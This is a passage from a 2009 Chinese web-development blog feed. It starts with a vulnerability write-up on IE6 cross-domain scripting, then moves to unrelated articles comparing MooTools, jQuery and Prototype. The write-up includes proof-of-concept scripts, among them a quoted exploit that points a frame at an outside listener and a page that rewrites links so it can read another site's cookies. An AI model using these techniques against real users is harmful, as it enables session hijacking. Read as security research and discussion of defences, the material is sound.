</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>
    document.<span style="color: #660066;">cookie</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'xss:true'</span>  <span style="color: #006600; font-style: italic;">//给本域设置一个COOKIE为xss:true</span>
    x<span style="color: #339933;">=</span>window.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'about:blank'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;http://127.0.0.1&quot;</span>
    setTimeout<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;javascript:alert(document.cookie)&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><span style="color: #CC0000;">5000</span><span style="color: #009900;">&#41;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>      结果IE6、IE7、Firefox都顺利的弹出了COOKIE值，说明如果子页和父页在同一个域里，<br />
  浏览器是允许父页控制子页执行伪协议脚本的。</p>
<h2>4.安全上的差异</h2>
<p>    父页和子页这种微妙的关系，到这里就开始引发安全问题了，PDP等大牛在分析鬼页的时<br />
  候给出了EXP:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span>x<span style="color: #339933;">=</span><span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>’http<span style="color: #339933;">:</span><span style="color: #006600; font-style: italic;">//hackademix.net/’);setInterval(function(){try{x.frames[0].location={toString:function(){return ‘http://www.sirdarckcat.net/caballero-listener.html’;}}}catch(e){}},5000);void(1);</span></pre></td></tr></table></div>

<p>    EXP按上面三部分的概念解释是：</p>
<p>    父页是A域，父页指定子页访问B域内一个带框架的页面，父页就能够控制B域页面内框架<br />
  的URL地址，这个就是典型的跨域操作了。</p>
<p>      鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制，第二个是让<br />
  location指定的地址看起来像个对象而不是参数。</p>
<p>    我们按照鬼页的思路，继续在第3部分的基础上测试下去,将location指定的地址使用<br />
  new String()对象处理。</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test5.htm，下面是test5.htm的脚本内容：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>  
    x<span style="color: #339933;">=</span>window.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'about:blank'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;http://www.163.com&quot;</span>；
    setTimeout<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> String<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;javascript:alert(document.cookie)&quot;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><span style="color: #CC0000;">5000</span><span style="color: #009900;">&#41;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>    IE6：弹出COOKIE。<br />
     <br />
  IE7：报错，拒绝访问。<br />
   <br />
Firefox：报错，alert没有定义。  </p>
<p>    结果是IE6奇迹般的弹出了COOKIE，我们做到了跨域执行脚本。</p>
<h2>5.灾难性的后果</h2>
<p>    到这里我们发现了一个IE6的0DAY，一定程度上这个跨域安全问题是灾难性的，如下面的<br />
  EXP：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">  <span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">&gt;</span>IE6 Cross Domain Scripting<span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span>
  <span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>
    <span style="color: #003366; font-weight: bold;">function</span> win<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        x<span style="color: #339933;">=</span>window.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'http://www.phpwind.net'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        setTimeout<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> String<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;javascript:alert(document.cookie)&quot;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><span style="color: #CC0000;">3000</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#125;</span>
    window.<span style="color: #000066;">onload</span><span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span>document.<span style="color: #660066;">links</span>.<span style="color: #660066;">length</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            document.<span style="color: #660066;">links</span><span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">href</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;javascript:win()&quot;</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>      点击链接后，马上得到了PHPWIND论坛的COOKIE，这就意味着黑客通过类似的攻击可以得<br />
  到你访问过的任意网站的COOKIE，然后劫持你的会话。</p>
<p>      这样的漏洞相当于一个没有域限制的XSS漏洞，几乎是无法防御的，网站只能进一步的加<br />
  强客户端的会话安全，如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的<br />
  请求操作加上水印等。</p>
<h2>6.总结</h2>
<p>      这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏，没有考虑清楚不<br />
  同域有继承关系的window对象操作后的变化，只是对window对象的一些方法的参数做了类似<br />
  数据类型的限制，导致最后绕过限制跨域执行了脚本。</p>
<p>      从这个漏洞我们也可以看出IE7的一些新的安全特性，通过继承关系的window对象操作<br />
  来跨域执行脚本伪协议最后是判断了域的，IE7已经开始防范类似的攻击。</p>
<p>      但是这里并没有在本质上解决跨域安全问题，IE7只防范了跨域执行脚本，对于其他跨域<br />
  的操作仍然是放行的，所以鬼页在IE7下可以跨域操作框架URL，而Firefox却没有存在相同的<br />
  问题，说明不同浏览器在安全的考虑上也是存在很多差异的。</p>
<p>      针对IE我又测试了其他对象方法，发现很多都被限制住了，但不排除还有同样的问题存<br />
  在。按照类似的思路，大家可以继续尝试挖掘浏览器的一些跨域漏洞。</p>
<p>    最后感谢HI群里共同讨论的朋友。</p>
<h2>7.参考</h2>
<p>[1] Browser’s Ghost Busters:   http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html<br />
  [2] Ghost   Busters: <a href="http://www.gnucitizen.org/blog/ghost-busters/">http://www.gnucitizen.org/blog/ghost-busters/</a></p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/31 -- <a href="http://cssrainbow.cn/articles/resources/671.html" title="Opera的Web标准课程（推荐）">Opera的Web标准课程（推荐）</a> (1)</li><li>2009/08/13 -- <a href="http://cssrainbow.cn/articles/resources/625.html" title="MooTools国外的教程和资源大集合">MooTools国外的教程和资源大集合</a> (0)</li><li>2009/08/12 -- <a href="http://cssrainbow.cn/articles/resources/618.html" title="数据之美（三）">数据之美（三）</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/599.html" title="选择mootools的5个原因(转)">选择mootools的5个原因(转)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/articles/resources/595.html" title="MooTools vs Prototype 核心代码分析-为什么选择MooTools ">MooTools vs Prototype 核心代码分析-为什么选择MooTools </a> (2)</li><li>2009/08/01 -- <a href="http://cssrainbow.cn/articles/general/573.html" title="菊花香">菊花香</a> (0)</li><li>2009/07/22 -- <a href="http://cssrainbow.cn/articles/resources/523.html" title="如何做好一份前端工程师的简历 (收藏)">如何做好一份前端工程师的简历 (收藏)</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/402.html" title="低调做人 高调做事">低调做人 高调做事</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/398.html" title="神奇的成功步骤">神奇的成功步骤</a> (0)</li><li>2009/06/20 -- <a href="http://cssrainbow.cn/articles/resources/351.html" title="数据之美（下）">数据之美（下）</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/resources/602.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>选择mootools的5个原因(转)</title>
		<link>http://cssrainbow.cn/tutorials/mootools/599.html</link>
		<comments>http://cssrainbow.cn/tutorials/mootools/599.html#comments</comments>
		<pubDate>Fri, 07 Aug 2009 02:32:46 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[MooTools]]></category>
		<category><![CDATA[MooTools1.2]]></category>
		<category><![CDATA[Prototype]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=599</guid>
		<description><![CDATA[选择mootools的5个原因(转)
Portotype虽然是强大的，和script.aculo.us结合可以做出很多完美的效果，可是它里面有太多我不想用的代码，或许这是我后面选择  mootools的主要原因，我只是想选择性的打包。其实当时我也很想用一下jquery，仔细对比了一下，我还是觉得mootools更加的适合于我。  有比较，才有机会去选择，我想从下面5个方面讨论一下。

 可读性VS简洁
   
 在网上，很多人把mootools比作java，把jquery比作perl，jquery的口号是“write less,do  more”，或许就是这个目标造就了它的诡异。我觉得和mootools代码比起来，我看jquery的代码更加的吃力，有时候一行代码需要看半个小时才  可以搞懂它的意思，这在mootools中是不存在的。如果你本身是一个崇尚代码简洁的人，或许jquery是你的很好的选择。虽然jquery的性能也  稍高一点，不过，我觉得可读性更重要，所以我觉得mootools更加适合我。 

重复的制造轮子VS拿来主义
  
  在所有的js框架中，我始终觉得Ext框架是“拿来主义者”们最好的选择。和ext比起来，jquery UI  其实做的不怎么样，但是jquery有很多的插件。几乎你看到的网页效果，在jquery的插件库中都可以找到，为了避免重复的制造轮子，或许  jquery是一个不错的选择。而我觉得重复的制造轮子会让我更加的熟悉制作的工艺，从中了解每种框架不同之处和各自的优势，所以，我没事就修改一下  jquery框架中的插件，让他们用mootools的方式去运行。我之所以在大学阶段对面向对象理解不够深刻，主要是各种IDE工具让我成了IT民工。  现在，我不能再做肤浅的拿来主义者，好多的代码因为性能问题，必须手写。
团队协作的成果VS天才的思维
   
 jquery是程序天才JOHN  RESIG的作品，mootools是一个团队的作品，有时候天才的思维很难读懂，我并不是想为此而逃避不去学习，主要是我希望用一个灵感汇聚的js框  架。值得肯定的是：jquery的很多代码都写的比mootools优雅一些，简洁一点，注意这里是简洁而不是简单。团队中，思想的碰撞要多一些，产品的  尝起来也就更清淡一些。我希望循序渐进的去理解js，所以我对自己不能用猛药，mootools像一碗粥，而不是参汤。 
项目VS个人学习
   
其实在我们产品部的项目中用的是ExtJs，这个框架帮你做了所有的事情，你基本只管调用就可以了。后来看一下，或许使用jquery  UI会好一点，主要是好多代码自己都可以去尝试写一下。如果你在做项目，强烈建议使用jquery，因为很多他的插件可以帮你按照项目的工期完成任务，当  然这是第一步，后面或许因为性能问题，你需要修改很多地方的代码。如果是产品部慢慢的在一个框架上有积累的话，或许不会有这样的问题存在，我是建议一个产  品部能够持续的学习一个框架，无论是哪一个，精通的过程是痛苦的，可是如果不精通，整个产品都是痛苦的。 
完成任务VS希望成为高手
   
 前面已经说过：如果想更快的完成任务，你需要选择jquery，如果想痛苦的积累，选择mootools或许会更好。才开始使用mootools1.2的  时候，我几乎崩溃，因为我写的1.1的代码都不能用了，后来没事看了一下1.2的源代码，无论是在功能上还是在性能上，这样的改动是有必要的。同时，也赞  扬一下mootools团队的勇气，和老版本的不兼容真的会让很多人抓狂。一点点的积累，一点点的领悟JavaScript，mootools是一个不错  的选择。
以上内容其实很火星，因为去年我就选择mootools了，最近突然看到一个帖子来讨论这两个框架的时候，我有点遗憾没能在当时记录一下自己的想法，赶快补写一篇。不知道大家的想法如何？
相关日志 »2009/08/07 -- MooTools vs Prototype 核心代码分析-为什么选择MooTools  (2)2009/08/13 [...]]]></description>
			<content:encoded><![CDATA[<h1 align="center">选择mootools的5个原因(转)</h1>
<p>Portotype虽然是强大的，和script.aculo.us结合可以做出很多完美的效果，可是它里面有太多我不想用的代码，或许这是我后面选择  mootools的主要原因，我只是想选择性的打包。其实当时我也很想用一下jquery，仔细对比了一下，我还是觉得mootools更加的适合于我。  有比较，才有机会去选择，我想从下面5个方面讨论一下。
</p>
<h2> 可读性VS简洁</h2>
<p>   
<p> 在网上，很多人把mootools比作java，把jquery比作perl，jquery的口号是“write less,do  more”，或许就是这个目标造就了它的诡异。我觉得和mootools代码比起来，我看jquery的代码更加的吃力，有时候一行代码需要看半个小时才  可以搞懂它的意思，这在mootools中是不存在的。如果你本身是一个崇尚代码简洁的人，或许jquery是你的很好的选择。虽然jquery的性能也  稍高一点，不过，我觉得可读性更重要，所以我觉得mootools更加适合我。 </p>
<p><span id="more-599"></span></p>
<h2>重复的制造轮子VS拿来主义</h2>
<p>  
<p>  在所有的js框架中，我始终觉得Ext框架是“拿来主义者”们最好的选择。和ext比起来，jquery UI  其实做的不怎么样，但是jquery有很多的插件。几乎你看到的网页效果，在jquery的插件库中都可以找到，为了避免重复的制造轮子，或许  jquery是一个不错的选择。而我觉得重复的制造轮子会让我更加的熟悉制作的工艺，从中了解每种框架不同之处和各自的优势，所以，我没事就修改一下  jquery框架中的插件，让他们用mootools的方式去运行。我之所以在大学阶段对面向对象理解不够深刻，主要是各种IDE工具让我成了IT民工。  现在，我不能再做肤浅的拿来主义者，好多的代码因为性能问题，必须手写。</p>
<h2>团队协作的成果VS天才的思维</h2>
<p>   
<p> jquery是程序天才JOHN  RESIG的作品，mootools是一个团队的作品，有时候天才的思维很难读懂，我并不是想为此而逃避不去学习，主要是我希望用一个灵感汇聚的js框  架。值得肯定的是：jquery的很多代码都写的比mootools优雅一些，简洁一点，注意这里是简洁而不是简单。团队中，思想的碰撞要多一些，产品的  尝起来也就更清淡一些。我希望循序渐进的去理解js，所以我对自己不能用猛药，mootools像一碗粥，而不是参汤。 </p>
<h2>项目VS个人学习</h2>
<p>   
<p>其实在我们产品部的项目中用的是ExtJs，这个框架帮你做了所有的事情，你基本只管调用就可以了。后来看一下，或许使用jquery  UI会好一点，主要是好多代码自己都可以去尝试写一下。如果你在做项目，强烈建议使用jquery，因为很多他的插件可以帮你按照项目的工期完成任务，当  然这是第一步，后面或许因为性能问题，你需要修改很多地方的代码。如果是产品部慢慢的在一个框架上有积累的话，或许不会有这样的问题存在，我是建议一个产  品部能够持续的学习一个框架，无论是哪一个，精通的过程是痛苦的，可是如果不精通，整个产品都是痛苦的。 </p>
<h2>完成任务VS希望成为高手</h2>
<p>   
<p> 前面已经说过：如果想更快的完成任务，你需要选择jquery，如果想痛苦的积累，选择mootools或许会更好。才开始使用mootools1.2的  时候，我几乎崩溃，因为我写的1.1的代码都不能用了，后来没事看了一下1.2的源代码，无论是在功能上还是在性能上，这样的改动是有必要的。同时，也赞  扬一下mootools团队的勇气，和老版本的不兼容真的会让很多人抓狂。一点点的积累，一点点的领悟JavaScript，mootools是一个不错  的选择。</p>
<p>以上内容其实很火星，因为去年我就选择mootools了，最近突然看到一个帖子来讨论这两个框架的时候，我有点遗憾没能在当时记录一下自己的想法，赶快补写一篇。不知道大家的想法如何？</p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/07 -- <a href="http://cssrainbow.cn/articles/resources/595.html" title="MooTools vs Prototype 核心代码分析-为什么选择MooTools ">MooTools vs Prototype 核心代码分析-为什么选择MooTools </a> (2)</li><li>2009/08/13 -- <a href="http://cssrainbow.cn/articles/resources/625.html" title="MooTools国外的教程和资源大集合">MooTools国外的教程和资源大集合</a> (0)</li><li>2010/04/07 -- <a href="http://cssrainbow.cn/code-snippets/mootools-code-snippets/1231.html" title="MooTools 1.2 Class 模板">MooTools 1.2 Class 模板</a> (0)</li><li>2010/03/18 -- <a href="http://cssrainbow.cn/tutorials/mootools/1183.html" title="jQuery 1.4, MooTools 1.2 比较">jQuery 1.4, MooTools 1.2 比较</a> (0)</li><li>2010/01/19 -- <a href="http://cssrainbow.cn/articles/web-roundups/905.html" title="Google 排名中的 10 个最著名的 JavaScript 库">Google 排名中的 10 个最著名的 JavaScript 库</a> (0)</li><li>2010/01/18 -- <a href="http://cssrainbow.cn/tutorials/mootools/895.html" title="Mootools: toElement 方法">Mootools: toElement 方法</a> (0)</li><li>2010/01/15 -- <a href="http://cssrainbow.cn/demos/892.html" title="让所有的浏览器都支持 HTML5 placeholder 属性，基于MooTools">让所有的浏览器都支持 HTML5 placeholder 属性，基于MooTools</a> (0)</li><li>2009/12/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/843.html" title="表单的文本字段默认值插件，基于MooTools">表单的文本字段默认值插件，基于MooTools</a> (1)</li><li>2009/12/01 -- <a href="http://cssrainbow.cn/code-snippets/mootools-code-snippets/832.html" title="MooTools Window Object 清单">MooTools Window Object 清单</a> (0)</li><li>2009/11/28 -- <a href="http://cssrainbow.cn/tutorials/mootools/829.html" title="类似于选项卡的搜索框, 基于MooTools">类似于选项卡的搜索框, 基于MooTools</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/tutorials/mootools/599.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MooTools vs Prototype 核心代码分析-为什么选择MooTools</title>
		<link>http://cssrainbow.cn/articles/resources/595.html</link>
		<comments>http://cssrainbow.cn/articles/resources/595.html#comments</comments>
		<pubDate>Fri, 07 Aug 2009 02:16:37 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[MooTools]]></category>
		<category><![CDATA[Resources]]></category>
		<category><![CDATA[MooTools1.2]]></category>
		<category><![CDATA[Prototype]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=595</guid>
		<description><![CDATA[我为什么选择mootools,抛弃了prototype. (mootools 与 prototype 核心代码分析)
MooTools是一个简洁，模块化，面向对象的JavaScript框架。它能够帮助你更快，更简单地编写可扩展和兼容性强的 JavaScript代码。

Mootools跟prototypejs相类似，语法几乎一样。

但它提供的功能要比prototypejs多，而且更强大。 比如增加了动画特效、拖放操作等等。

建议大家可以用它来代替prototypejs。

]]></description>
			<content:encoded><![CDATA[<h1 align="center">MooTools vs Prototype 核心代码分析-为什么选择MooTools </h1>
<p>MooTools是一个简洁，模块化，面向对象的JavaScript框架。它能够帮助你更快，更简单地编写可扩展和兼容性强的  JavaScript代码。</p>
<p>Mootools跟prototypejs相类似，语法几乎一样。</p>
<p>但它提供的功能要比prototypejs多，而且更强大。  比如增加了动画特效、拖放操作等等。</p>
<p>建议大家可以用它来代替prototypejs。</p>
<p><strong>我为什么选择mootools,抛弃了prototype. (mootools 与 prototype 核心代码分析)</strong></p>
<p>原文作者：<a href="http://fins.javaeye.com/">小胖儿的大城 </a></p>
<p>原文链接地址：<a href="http://www.javaeye.com/topic/122425">http://www.javaeye.com/topic/122425</a>
</p>
<p><span id="more-595"></span></p>
<h2>
前言 </p>
</h2>
<p>
最近喜欢上了mootools(相见恨晚啊),在公开表示了对他的偏爱. <br />
很多朋友都问我为什么要移情别恋,其实理由还是蛮多的. </p>
<p>今天在这里打算列举出一部分.让更多的朋友能够了解一下mootools,也希望有更多的朋友喜欢上他. </p>
<p>
文章的标题注定了我会更多的讲述 mootools比prototype好的地方, <br />
希望大家不要被我的误导,以为mootools处处都比prototype好. <br />
mootools还是有一些不足的. </p>
<p>
本次对比针对 mootools 1.11版 和 prototype   1.51版, <br />
只比较了一些核心代码,其他的工具方法,辅助函数不再本文讨论之内. </p>
<p>
开始前,再次重申一遍:我曾经很爱prototype,而且我将永远都会用&quot;伟大&quot;来形容它. </p>
<p>
好 下面对比正式开始 ( <br />
mootools以下简称moo. <br />
本文所引用的代码,   只是起到说明作用,不保证他们都可以被正确的执行. <br />
同时为了使本文简洁一些,引入的 一些 moo和prototype的代码也只是片段或是伪代码. <br />
) </p>
<h2>
一. 类机制<br />
</h2>
<p>js里的类实际上就是function. <br />
如果不使用任何框架和组件,那么想创建一个自己类也不是难事,方法如下: </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> PersonClass<span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #339933;">,</span>gender<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  	
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #000066;">name</span><span style="color: #339933;">;</span>  	
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">gender</span><span style="color: #339933;">=</span>gender<span style="color: #339933;">;</span>  	
    <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;My name is &quot;</span><span style="color: #339933;">+</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span>    
<span style="color: #003366; font-weight: bold;">var</span> myGirlFriend<span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> PersonClass<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Vickey'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'female'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>执行 后, 会创建一个PersonClass类的实例myGirlFriend, 并执行function内的语句. <br />
那些语句可以理解为是类的构造函数. </p>
<p><strong>Prototype</strong> <br />
现在来看看在prototype的帮助下如何去定义这个类: </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"> <span style="color: #003366; font-weight: bold;">var</span> PersonClass <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">Class</span>.<span style="color: #660066;">create</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   
 PersonClass.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">initialize</span><span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #339933;">,</span>gender<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  	
     <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #000066;">name</span><span style="color: #339933;">;</span>  	
     <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">gender</span><span style="color: #339933;">=</span>gender<span style="color: #339933;">;</span>  	
     <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;My name is &quot;</span><span style="color: #339933;">+</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
 <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>   
 <span style="color: #003366; font-weight: bold;">var</span> myGirlFriend<span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> PersonClass<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Vickey'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'female'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    <span style="color: #006600; font-style: italic;">//如果想给类增加属性和方法时使用   </span>
 PersonClass.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">XXX</span><span style="color: #339933;">=</span>...<span style="color: #339933;">;</span>  <span style="color: #006600; font-style: italic;">//或者是使用 prototype提供的   </span>
 Object.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span>PersonClass.<span style="color: #660066;">prototype</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span>...<span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
(关于Object.extend稍后在对比继承机制时再细说.) </p>
<p>
再来看看prototype是实现类机制的核心代码. </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> <span style="color: #003366; font-weight: bold;">Class</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>    
    create<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>     
         <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>      
            <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">initialize</span>.<span style="color: #660066;">apply</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">,</span> arguments<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   
         <span style="color: #009900;">&#125;</span>   
    <span style="color: #009900;">&#125;</span> 
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>
通过看代码不难看出,prototype的Class实际上只是帮助我们抽象出了&quot;类的构造函数&quot;. <br />
而当我们在prototype的这种机制下进行类的定义时,实际上带来的好处是非常有限的. <br />
prototype的Class只是从结构对我们的类进行了重新规划. 而这样的规划意义并不是很大. <br />
而且prototype带有强制性,即, initialize 是必须要定义的. <br />
实际上这里存在一个缺陷, Class应该提供一个默认的initialize(一个空函数就好), <br />
或者是在create返回的function里进行必要的判断. <br />
(prototype1.6的类机制变化比较大,但是还没仔细研究过,所以不敢轻易评论). </p>
<p>
<strong>Mootools</strong> </p>
<p>现在来看看在 moo的帮助下如何去定义一个类: </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> PersonClass <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> <span style="color: #003366; font-weight: bold;">Class</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#123;</span>  	
    initialize<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #339933;">,</span>gender<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  		
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span><span style="color: #339933;">=</span><span style="color: #000066;">name</span><span style="color: #339933;">;</span>  		
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">gender</span><span style="color: #339933;">=</span>gender<span style="color: #339933;">;</span>  		
        <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;My name is &quot;</span><span style="color: #339933;">+</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  	
    <span style="color: #009900;">&#125;</span>  
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #003366; font-weight: bold;">var</span> myGirlFriend<span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> PersonClass<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Vickey'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'female'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
